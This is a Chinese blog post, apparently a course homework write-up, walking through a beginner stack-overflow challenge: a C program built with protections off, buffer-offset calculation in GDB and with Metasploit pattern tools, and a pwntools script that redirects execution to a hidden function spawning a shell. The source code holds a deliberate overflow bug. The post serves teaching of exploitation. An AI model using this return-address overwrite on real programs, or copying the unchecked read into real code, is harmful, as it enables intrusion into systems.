【二进制安全作业】250616课上作业1-栈溢出漏洞利用

文章目录


前言

这次上课添加了一些新的工具,暂时可以不用,但是建议先下载,已经补充在 环境搭建 的250616补充里了。

这一次课连上三天,四个课上作业,时间紧,任务重,我尽快更,如果有讲解错误或讲得不清楚的地方,欢迎留言。


一、使用环境

处理器架构:x86_64

操作系统:Ubuntu24.04.2

GDB版本:GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git


二、程序源码

1. C语言源码

c 复制代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void y0u_c4n7_533_m3()
{
  execve("/bin/sh", (char *[]){0}, (char *[]){0});
}

int main()
{
  char buf[16];
  puts("This is your first bof challenge ;)");
  fflush(stdout);
  read(0, buf, 0x30);
  return 0;
}

2. 编译方式

bash 复制代码
gcc bof.c -fno-stack-protector -no-pie -o bof

三、源码分析

1. execve

execve 是一个常用系统调用,核心作用是加载并执行指定路径的可执行文件,C语言的 execve 函数是对系统调用的封装。

execve 不会创建新进程,而是直接替换当前进程的映像。如果需要创建新进程,通常需要先通过 fork() 创建子进程,然后在子进程中调用 execve

函数原型:

c 复制代码
int execve(const char *filename, char *const argv[], char *const envp[]);

filename 要执行的可执行文件的路径(绝对路径或相对路径均可)。
argv 指向命令行参数的指针数组,数组的最后一个元素必须是NULL,表示参数列表的结束。例:

c 复制代码
char *argv[] = {"ls", "-l", "/home", NULL};

envp 指向环境变量的指针数组,每个元素是一个以 KEY=VALUE 格式表示的字符串。例:

c 复制代码
char *envp[] = {
    "PATH=/usr/bin:/bin",
    "HOME=/root",
    NULL
};

2. 漏洞分析

还是挺显眼的,read接受48字节,接收字符串的数组长度16字节,所以存在栈溢出漏洞,拿 shell 的函数已经准备好了,函数名叫y0u_c4n7_533_m3。


四、反汇编分析

1. 检查文件安全性

从这次开始养成一个习惯,首先使用 checksec 检查一下文件:

bash 复制代码
checksec bof

返回如下:

Arch 程序架构为x86_64,64位,小端序
RELRO GOT表部分可写
Stack 未启用栈保护
NX 堆栈不可执行
PIE 地址固定
Stripped 调试信息未剥离

关于这块我新写了一个 手册,不懂的同学可以查阅。

没有栈保护,本来也是要做栈溢出,所以继续。

2. 查找目标函数

使用gdb启用程序,然后查看函数,这道题一眼就能看到目标函数:

记录目标地址 0x400607 ,当然能用别的方法找到也可以。

3. 计算偏移量

我一向的习惯是找到栈中字符串输入的位置,再找到返回地址的位置,然后计算偏移量,可能是有点麻烦的:

找个合适的位置打断点:

运行,然后查看堆栈:

可以看到输入字符串的位置在 0x7fffffffe050 ,而跳转的地址应该在 rbp 的下一个存储单元:

rbp 指向 0x7fffffffe060 ,所以跳转地址应该在 0x7fffffffe068

这偏移量不管是口算还是直接从内存上看出来都很容易了,就是0x18,十进制是24。

这次再尝试一个新方法,暂时仅限有 kali 的同学使用:

使用 kali 自带的 msf 插件生成字符串:

bash 复制代码
msf-pattern_create -l 100

生成了字符串:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

还是用 gdb 启动程序,把断点打在 ret 的位置:

运行程序,输入刚才 kali 中生成的字符串,运行:

此时查看 rsp 指向的内存地址中保存的值,显示为 0x6241396141386141 ,然后在 kali 中执行:

bash 复制代码
msf-pattern_offset -q 6241396141386141

这样就计算出了偏移量是 24,偏移量比较大的时候这种方法会轻松很多。

五、编写EXP

有了函数地址和偏移量也就足够了,直接上代码:

python 复制代码
from pwn import *

context.arch = "amd64"
context.os = "linux"

def exp():
    offset = 24
    func_addr = 0x400607
    exp = b'A' * offset + p64(func_addr)

    with process('./bof') as p:
        p.sendlineafter(b')', exp)
        p.interactive()

if __name__ == '__main__':
    exp()

运行结果:

成功

结语

感谢关注评论点赞收藏,继续肝下一篇

相关推荐
泽虞15 分钟前
《LINUX系统编程》笔记p3
linux·运维·服务器·c语言·笔记·面试
曼岛_1 小时前
[系统架构设计师]安全架构设计理论与实践(十八)
安全·系统架构·安全架构·系统架构设计师
你怎么知道我是队长2 小时前
C语言---编译的最小单位---令牌(Token)
java·c语言·前端
艾小码4 小时前
前端安全防护手册:对抗XSS、CSRF、点击劫持等攻击
前端·安全·xss
伴杯猫5 小时前
【ESP32-IDF】高级外设开发3:I2S
c语言·单片机·嵌入式硬件·mcu·物联网·esp32·esp-idf
我爱学嵌入式6 小时前
C语言:第18天笔记
c语言·开发语言·笔记
SunnyKriSmile6 小时前
指针实现数组的逆序存放并输出
c语言·算法·排序算法·数组逆序存放
网硕互联的小客服6 小时前
如何配置安全的SFTP服务器?
运维·服务器·安全
飞凌嵌入式7 小时前
高性能、高实时、高安全:如何在飞凌嵌入式i.MX95xx核心板上同时实现?
嵌入式硬件·安全·嵌入式·飞凌嵌入式
智驱力人工智能7 小时前
安全帽检测算法如何提升工地安全管理效率
人工智能·算法·安全·边缘计算·安全帽检测·口罩检测·安全鞋检测